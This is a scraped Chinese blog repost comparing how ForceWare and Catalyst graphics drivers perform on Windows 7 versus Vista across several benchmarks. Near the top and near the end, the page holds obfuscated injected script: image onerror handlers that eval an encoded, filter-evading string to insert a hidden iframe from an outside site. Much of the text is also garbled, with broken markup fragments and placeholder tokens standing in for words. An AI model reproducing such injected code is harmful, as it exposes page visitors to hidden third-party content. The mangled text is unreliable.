Win7 vs Vista 显卡驱动性能趣味对比- 投资理财- Australians - 和讯博客
Win7 vs Vista 显卡驱动性能趣味对比 [转贴 2010-04-12 08:39:57]   
Win7 vs Vista 显卡驱动性能趣味对比

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

由于Windows 7和Windows Vista底层架构上的相似性,无论NVIDIA还是AMD,目前都把针对这两大系统的显卡驱动放在同一个安装包内推出。于是Tweaktown日前就做了一次有趣的测试,不比较具体得分,而是衡量同一款驱动在Win7系统下较Vista系统的性能提升幅度。看看针对Windows 7,ForceWare和催化剂谁做的更好。

测试平台:

Intel i7 920超频3.8GHz(190MHz x20)

技嘉EX58-UD5主板

3x 2GB OCZ DDR3 PC-12800 8-8-8-24内存

西部数据300GB Velicorapter万转硬盘

操作系统:Windows 7 Ultimate 64-Bit Final OEM, Windows Vista SP2 64-Bit

显卡:技嘉GeForce GTX 285 2GB

蓝宝Radeon HD 4890 2GB Vapor-X

驱动:ForceWare 190.38

催化剂9.6

从整套系统来看,{wy}的遗憾是测试并未使用通过Windows 7 RTM WHQL认证的9.7版催化剂驱动。

以下测试得分,皆表示Win7下相比Vista的性能提升/下降幅度(百分比)。

3DMark Vantage

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=291 alt="ForceWare vs 催化剂 Win7驱动性能测试" src="http://news.mydrivers.com/Img/20090817/12151444.gif" width=483 twffan="done">

两家驱动的提升幅度都很细微

Cinebench R10

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=291 alt="ForceWare vs 催化剂 Win7驱动性能测试" src="http://news.mydrivers.com/Img/20090817/12152238.gif" width=483 twffan="done">

催化剂在Windows 7下爆发增长超过50%,N卡驱动则无变化。

《冲突世界》

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=291 alt="ForceWare vs 催化剂 Win7驱动性能测试" src="http://news.mydrivers.com/Img/20090817/12153452.gif" width=483 twffan="done">
{zd1}帧速

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=291 alt="ForceWare vs 催化剂 Win7驱动性能测试" src="http://news.mydrivers.com/Img/20090817/12154427.gif" width=483 twffan="done">
平均帧速

低分辨率下区别不大,1920x1200分辨率下N卡提升更多,而A卡则在2560x1600分辨率下平均帧速提升2.2%,{zd1}帧速反降8.6%。

《Crysis Warhead》

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=291 alt="ForceWare vs 催化剂 Win7驱动性能测试" src="http://news.mydrivers.com/Img/20090817/12155618.gif" width=483 twffan="done">
{zd1}帧速

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" height=291 alt="ForceWare vs 催化剂 Win7驱动性能测试" src="http://news.mydrivers.com/Img/20090817/12160618.gif" width=483 twffan="done">
平均帧速

{zd1}帧速大部分都没有变化,仅有催化剂9.6在1680x1050分辨率下Win7比Vista提升4.3%,ForceWare 190.38在1920x1200分辨率下Win7则比Vista下降4.1%。

平均帧速方面,ForceWare驱动在1680x1050分辨率下有所提升,而{zg}分辨率下两款驱动的Win7表现都明显不如Vista。


去看看
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【Win7 vs Vista 显卡驱动性能趣味对比- 投资理财- Australians - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——